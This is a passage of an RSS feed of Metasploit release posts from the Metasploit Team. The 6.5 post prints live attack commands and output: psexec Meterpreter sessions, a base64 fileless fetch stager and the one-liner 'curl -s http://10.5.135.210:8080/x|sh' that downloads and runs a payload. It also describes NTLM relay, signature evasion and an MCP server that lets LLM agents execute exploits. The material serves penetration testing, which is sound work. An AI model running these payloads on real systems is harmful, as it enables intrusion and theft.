center;"><span style='font-size: undefined;'><em>Figure 6: Network Topology Display</em></span></p><h2><span style='font-size: undefined;'>New filter options</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The topology graph toolbar has three new filters to help focus on the hosts that matter:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Filter by bruteforce</strong></span><span style='font-size: undefined;'> - highlight services that can be bruteforced remotely on a host.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Filter by tag</strong></span><span style='font-size: undefined;'> - narrow the graph to hosts carrying a specific session or host tag.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Filter by username</strong></span><span style='font-size: undefined;'> - show only hosts where a particular user account has been compromised.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Filter by module</strong></span><span style='font-size: undefined;'> - surface hosts that have had a specific module run against them.</span></li></ul><p style="text-align: center;"><span style='font-size: undefined;'><em></em></span></p><p><span style='font-size: undefined;'><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-2.png" asset-alt="info-2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" data-sys-asset-uid="bltea875f08e2fd2aa2" data-sys-asset-filename="info-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-2.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 7: Network Topology Graph Filter Options</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><h2><span style='font-size: undefined;'>Discovered Vulnerabilities - Modern UI</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The Discovered Vulnerabilities table has been fully rewritten, bringing it in line with the UI overhaul introduced across the rest of Pro in 5.0.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Key improvements:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>High level view and granular views</strong></span><span style='font-size: undefined;'> - Each registered vulnerability provides a high view such as references and affected services, as well as a more granular expandable breakdown view.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Inline editing</strong></span><span style='font-size: undefined;'> - vulnerability details can be edited directly from the table without navigating to a separate page.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Nexpose integration preserved</strong></span><span style='font-size: undefined;'> - all existing InsightVM/Nexpose push and pull workflows are retained in the new implementation.</span></li></ul><p><span style='font-size: undefined;'><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="disc-1.png" asset-alt="disc-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" data-sys-asset-uid="blta640a6584832d135" data-sys-asset-filename="disc-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="disc-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 8: Discovered Vulnerabilities Modern UI</em></span></p><h2><span style='font-size: undefined;'>Attack technique filtering support</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Metasploit Pro now supports searching for modules by these techniques:</span></p><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mod-1.png" asset-alt="mod-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" data-sys-asset-uid="blt660c6c699331ea15" data-sys-asset-filename="mod-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mod-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 9: Attack Technique Filtering Search</em></span></p><h2><span style='font-size: undefined;'>Upgrading</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Existing Pro installations can be upgraded through the standard update mechanism. Full upgrade instructions are available in the </span><a href="https://help.metasploit.com/Content/managing-updating-metasploit/updating-metasploit.html" target="_blank" title="Metasploit Updates"><span style='font-size: undefined;'>Metasploit Pro documentation</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>These features are available in Metasploit Pro 5.1.0 onwards. We're proud to collaborate with our customers, who are often the source of inspiration for product evolution. Ideas for improvements or enhancements can be shared with our Support team to help refine and submit them to the Product team on your behalf.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-pro-5-1-released</link>
      <guid isPermaLink="false">blt8dc6af57326bc0cf</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Penetration Testing]]></category><dc:creator><![CDATA[The Metasploit Team]]></dc:creator>
      <pubDate>Mon, 03 Aug 2026 14:48:13 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte0070cfd2a1161fa/683de8fa2a9b68aac72bd4a9/Metasploit.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Framework 6.5 Released]]></title>
      <description><![CDATA[<p>Today we’re proud to announce that Metasploit Framework version 6.5 has been released. Over the past two years, with the help of countless contributors, we’ve added 422 new modules along with a whole slew of new features.</p><h2>Malleable C2 Profiles for HTTP</h2><p>One of the latest and most requested features is support for Malleable C2 profiles across all current Meterpreter payloads. This feature enables users to load a standard profile into Meterpreter and change the shape of its HTTP(S) traffic. All Meterpreters, including Windows, Java, Python, PHP and Linux, have been updated with this functionality. Due to the size restrictions on staged payloads, staged payloads will only use the Malleable C2 configuration once the stage has been loaded. Since stageless payloads skip the download phase, they immediately use the Malleable C2 configuration.</p><p>When a compatible payload has been selected, the user only needs to set the <span data-type='inlineCode'>MALLEABLEC2</span> option to the profile on disk. The syntax for profiles is the same as in other tools which ensures that Metasploit is capable of loading <a href="http://github.com/BC-SECURITY/Malleable-C2-Profiles">publicly</a> available profiles. While not all of the directives are currently in use, additional improvements will be made in the future.</p><p>In the following example, an HTTP Meterpreter is deployed with a profile to emulate browsing Amazon.</p><pre>msf exploit(windows/smb/psexec) &gt; set PAYLOAD windows/x64/meterpreter_reverse_http
PAYLOAD =&gt; windows/x64/meterpreter_reverse_http
msf exploit(windows/smb/psexec) &gt; set MALLEABLEC2 amazon.profile
MALLEABLEC2 =&gt; amazon.profile
msf exploit(windows/smb/psexec) &gt; run
[*] Started HTTP reverse handler on http://192.168.159.128:8081/
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[!] 192.168.159.10:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.159.10:445 - Uploading payload... BqjvmNxF.exe
[*] 192.168.159.10:445 - Created \BqjvmNxF.exe...
[+] 192.168.159.10:445 - Service started successfully...
[*] 192.168.159.10:445 - Deleting \BqjvmNxF.exe...
[*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -&gt; UUID NjFswaV1VEGJ1ojU44aMCAHc2CTIr56KDkzFLcyRHZ8Go9fwFFaBp8QSiN6WYHoH5j-Oz81kEMXA9tYzxcpvs5e
[*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Attaching orphaned/stageless session...
[*] Meterpreter session 3 opened (192.168.159.128:8081 -&gt; 192.168.159.10:49853) at 2026-07-09 16:34:39 -0400

meterpreter &gt; getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter &gt; sysinfo
Computer        : DC
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x64/windows
meterpreter &gt;</pre><p>For more information, usage instructions, and what profile verbs are supported, see the <a href="https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-malleable-c2-profiles.html" target="_blank">Malleable C2 documentation</a>.</p><h2>Metasploit Framework 6.5 Release - MCP Server</h2><p>Metasploit 6.5 introduces the Metasploit MCP Server (<span data-type='inlineCode'>msfmcpd</span>), a new middleware layer designed to facilitate secure, structured interactions between AI applications and the Metasploit Framework. By leveraging the Model Context Protocol, the server exposes 16 standardized tools—ranging from complex reconnaissance queries to active session management—allowing users to integrate Metasploit’s powerful capabilities directly into AI-driven environments like Claude or Cursor.</p><h3>Toolset Categorization</h3><p>The toolset is partitioned into two distinct categories to prioritize operator oversight:</p><ul><li><strong>Read-Only Tools:</strong> These 12 tools are available by default and provide deep access to the Framework's intelligence. This includes modules for searching available exploits, querying discovered host/service data, retrieving stored credentials, and monitoring active jobs or sessions. These tools allow an LLM to provide situationally aware advice without modifying the state of the target environment. Perfect for use in sensitive environments where full AI autonomy is barred.</li><li><strong>Dangerous Tools:</strong> To ensure safety, these 4 high-impact tools are disabled by default. This class includes methods for executing modules, using module checks, stopping sessions, and writing data to interactive sessions (like Meterpreter). To leverage these for automated exploitation, operators must explicitly enable them via CLI flag (<span data-type='inlineCode'>--enable-dangerous-actions</span>), environment variable, or configuration key.</li></ul><h3>Example LLM Workflow</h3><p>With the MCP server configured, an LLM agent can automate parts of the penetration testing and vulnerability validation lifecycle. A typical workflow might look like this:</p><ol><li><strong>Reconnaissance:</strong> The LLM uses <span data-type='inlineCode'>msf_host_info</span> and <span data-type='inlineCode'>msf_service_info</span> to identify potential targets and msf_search_modules to find relevant exploits matching the target’s service versions.</li><li><strong>Validation:</strong> Upon selecting a module, the agent calls <span data-type='inlineCode'>msf_module_check</span> (if enabled) to assess the target's susceptibility without triggering a full exploit attempt.</li><li><strong>Exploitation:</strong> If the check confirms vulnerability, the agent proceeds with <span data-type='inlineCode'>msf_module_execute</span>, passing the necessary datastore options.</li><li><strong>Interaction:</strong> Once a session is established, the agent uses <span data-type='inlineCode'>msf_session_list</span> to verify the connection and msf_session_read to parse session output, allowing it to interpret the environment and potentially <span data-type='inlineCode'>msf_session_write</span> commands to further the engagement.</li></ol><p>This structure allows security professionals to offload repetitive telemetry gathering to AI agents while retaining a strict, policy-driven "human-in-the-loop" gate for all offensive actions.</p><h3>Starting the MCP Server</h3><p>You can start the server using the msfmcpd binary or directly within msfconsole:</p><pre>msf &gt; load mcp
msf &gt; mcp --help</pre><h4>Usage</h4><pre>msf &gt; mcp &lt;subcommand&gt; [options]</pre><h4>Subcommands:</h4><ul><li><span data-type='inlineCode'>status</span>: Display MCP server status</li><li><span data-type='inlineCode'>start</span>: Start the MCP server</li><li><span data-type='inlineCode'>stop</span>: Stop the MCP server</li><li><span data-type='inlineCode'>restart</span>: Restart the MCP server</li><li><span data-type='inlineCode'>help</span>: Show this help message</li></ul><h4>Common Options:</h4><ul><li><span data-type='inlineCode'>ServerHost=&lt;host&gt;</span>: Bind address (default: localhost)</li><li><span data-type='inlineCode'>ServerPort=&lt;port&gt;</span>: MCP port (default: 3000)</li><li><span data-type='inlineCode'>DangerousActions=&lt;true|false&gt;</span>: Enable destructive tools (default: false)</li><li><span data-type='inlineCode'>RpcHost,RpcPort,RpcUser,RpcPass,RpcSSL</span>: RPC configuration settings.</li><li><span data-type='inlineCode'>RateLimit=&lt;n&gt;</span>: Requests per minute (default: 60)</li></ul><h4>Examples:</h4><pre>msf &gt; mcp start
msf &gt; mcp start ServerPort=8080
msf &gt; mcp start RpcUser=msf RpcPass=secret</pre><h2>Relaying Improvements</h2><p>Over the past few years, Metasploit has been making incremental improvements to its NTLM relaying capabilities. While NTLM is considered a legacy authentication protocol, it remains commonly deployed in enterprise environments. This release continues that trend by adding the second NTLM relay server to the framework; HTTP(S). Users can now start a malicious HTTP server that will prompt for authentication and relay it to one or more user-specified targets.</p><p></p><p>Users can leverage this capability with the new <span data-type='inlineCode'>auxiliary/server/relay/http_to_smb</span> and <span data-type='inlineCode'>auxiliary/server/relay/http_to_ldap</span> modules. These will open SMB and LDAP sessions respectively and allow the user to interact with the target server in the context of the user whose credentials were relayed. Interactive protocol sessions have been around for a couple of years now and offer users a more fault-tolerant way to interact with targets when compared to the old “only psexec” option. SMB sessions have also been updated with sessions -u support, enabling users to upgrade an interactive SMB session to a Meterpreter session using psexec when desired.</p><h3>NTLMRelay2Self</h3><p>The new capability to relay from an HTTP server to another target opens the possibility for unique attack workflows. One such technique is known as NTLMRelay2Self. This multi-step workflow involves coercing a target to authenticating to itself over HTTP which creates a relaying opportunity. After exploiting that relay opportunity, an attacker can establish an LDAP session to a domain controller, authenticated as the machine account. From this position they can leverage RBCD or Shadow Credentials to elevate their permissions on the target workstation (not the domain controller).</p><p>While all of these steps can be performed manually, Metasploit added a new <span data-type='inlineCode'>exploits/windows/local/ntlm_relay_2_self</span> module to automate this entire process, performing the relay step as well as the others in a single action. This particular attack technique does not have a patch but does require a local user on a domain joined workstation in order to exploit; effectively making it an evergreen LPE.</p><h2>Fetch Payload Improvements</h2><p>Fetch payloads were created to support users in writing exploits targeting the wave of new command injection vulnerabilities we saw coming in several years ago. They allow a user to generate a small command-based stager that runs on a target host and calls back to download a full binary payload to run it, giving users the ability to launch a fully-featured binary (EXE, ELF, or DLL) payload using only a single command injection. Three new features we added to extend the utility for Fetch Payloads to our users include Fileless Fetch Payloads, Pipe Fetch Payloads, and support for a new multi pseudoarchitecture payload. Fileless Fetch payloads are wonderfully named; previously, when the Fetch command stager ran, the binary payload was saved to a location on disk and launched. Fileless Fetch Payloads leverage a feature within the Linux Kernel after 3.17 that allows us to write a file directly to memory using the memfd_create syscall and execute it, so no files ever touch the target disk. There are three supported ways to use Fetch Fileless: Python3.8+, shell, and shell-search. Each uses a different technique to create a file in memory and launch it.</p><p>Fetch Pipe was created in response to several exploits that we discovered had very small command size requirements, and we found ourselves trying to shrink the command to fetch the binary payload. Fetch Pipe Payloads simply add an extra Fetch command stager so that the user only needs to run a very small command on the remote host that requests a larger command, which, in turn, requests the binary payload. It allowed us to drop the size of the payloads dramatically, and opened the door to create more complex and feature-rich Fetch command stagers since we could use the tiny “pre-stager” rather than a stager with added length, complexity, and encoding requirements.</p><p>For example, here we generate the command for a fileless fetch payload:</p><pre>msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) &gt; generate -f raw
[*] Command to execute on target: echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} & cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2&gt;/dev/null);do if [ $(ls -al $f | grep -o "memfd" &gt;/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg &gt;/dev/null);then $f & FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;
echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} & cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2&gt;/dev/null);do if [ $(ls -al $f | grep -o "memfd" &gt;/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg &gt;/dev/null);then $f & FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;</pre><p>Here is that same command with fetch_pipe enabled:</p><pre>msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) &gt; set fetch_pipe true 
fetch_pipe =&gt; true
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) &gt; set fetch_uripath x
fetch_uripath =&gt; x
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) &gt; generate -f raw
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
curl -s http://10.5.135.210:8080/x|sh</pre><p><br/>By enabling the fetch pipe option, our payload to run on the target went from 2,374 characters to 38.</p><p>The final new feature added to Fetch Payloads in 6.5 is support for a new multi pseudoarchitecture. The new multi pseudoarchitecture allows users to generate a Fetch payload command stager that will run and report back the architecture of the target host while it requests the binary payload, allowing the Fetch Handler to serve a payload that matches the target architecture. This is incredibly useful during the exploitation of modern Linux hardware, as a Linux host could be running on one of many architectures from x86_64 to ARM. The new multi pseudoarch allows a user to send a payload in an exploit to a Linux host and have it “just work” regardless of the underlying architecture, thus eliminating the users need to know (or correctly guess).</p><p>Here is an example of generating a Fetch Multi payload and handler, then running the Fetch command stager on several different Linux targets, each running a different architecture:</p><pre>msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; show options

Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


View the full module info with the info, or info -d command.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0

[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -&gt; 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -&gt; 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -&gt; 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt;</pre><p>As you can see, the same short command (<span data-type='inlineCode'>curl -s http://10.5.135.210:8080/x|sh</span>) with the same handler serves the corresponding binary payload to ARMLE, AARCH64, and MIPS64-based Linux hosts.</p><h2>Block API Hashes Are Randomized</h2><p>The <span data-type='inlineCode'>block API</span> is a critical piece of shellcode that is the foundation of all of Metasploit's 32-bit and 64-bit payloads. It enables the shellcode author to invoke win32 API methods using a 32-bit hash of the method and module name. It’s been over 5 years since <a href="https://github.com/rapid7/metasploit-framework/pull/13832">Metasploit started randomizing</a> this piece of shellcode so its 140+ static bytes were no longer trivial signature fodder. What remained however were static the 32-bit API hashes, whose usage was periodically the subject of various reports. This year, Metasploit updated the block API itself to allow the 32-bit hashes to also be randomized. Now each time the block API is generated, not only are the instructions shuffled but the hashes used to invoke win32 API methods are randomized.</p><h2>ATT&CK Metadata</h2><p>When you have about 4500 exploit auxiliary and post modules, discoverability can be a real problem. One thing Metasploit often deals with is ensuring that users have optimal means to find what they are looking for. Historically this has manifested itself as search improvements and even an <a href="https://github.com/rapid7/metasploit-framework/blob/master/plugins/fzuse.rb">fzf plugin</a>. One thing users often need to do however is emulate real world threat actors. A substantial amount of threat intelligence <a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain/#:~:text=the%20lineage%20assessment.-,Mitigation%20guidance,-MITRE%20ATT%26CK">provides these</a> techniques while documenting the attack chains. Metasploit has begun tagging our own modules with ATT&CK tags to enable users to easily find modules that leverage a particular technique. To search for a module, use the <span data-type='inlineCode'>att&ck</span> search modifier. For example to find all modules that leverage <a href="https://attack.mitre.org/techniques/T1059/001/">T1059.001 (Command and Scripting Interpreter: PowerShell)</a> use <span data-type='inlineCode'>att&ck:T1059.001</span>. The hierarchy is also honored, so to search more broadly for <a href="https://attack.mitre.org/techniques/T1059/">T1059 (Command and Scripting Interpreter)</a> use <span data-type='inlineCode'>att&ck:T1059</span> and additional modules such as exploit/windows/mysql/mysql_mof will be included in the search results.</p><h2>Conclusion</h2><p>Metasploit 6.5 represents an evolution in the framework, delivering a wide array of new capabilities designed to improve both usability and the realism of modern security testing. From the highly requested integration of Malleable C2 profiles and our new Metasploit MCP Server to advanced NTLM relaying, enhanced fetch payload utilities, and the introduction of MITRE ATT&CK tagging, this release is built to support increasingly complex and automated workflows. We look forward to seeing how these tools help our community continue to push the boundaries of vulnerability validation and threat emulation. Thank you to all the contributors who helped make this release possible.</p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released</link>
      <guid isPermaLink="false">blt6725d22470d07a53</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Penetration Testing]]></category><dc:creator><![CDATA[The Metasploit Team]]></dc:creator>
      <pubDate>Thu, 30 Jul 2026 14:29:54 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd300e09a53b20145/6846a7112fcbadab2a662455/metasploit-weekly.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap Up: An HTTP to SMB relay plus Payload Improvements]]></title>
      <description><![CDATA[<h2>Metasploit Wrap Up Housekeeping</h2><p>While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the <a href="https://www.rapid7.com/blog/tag/metasploit/rss/">RSS Feed</a> to be alerted when new blogs are released.</p><h2>Fetch Multi: Just Fetch and Forget?</h2><p>Our very own <a href="https://github.com/bwatters-r7">bwatters-r7</a> continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.</p><p>Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command <span data-type='inlineCode'>curl -s http://10.5.135.210:8080/x|sh</span> on each target.</p><p></p><pre>msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
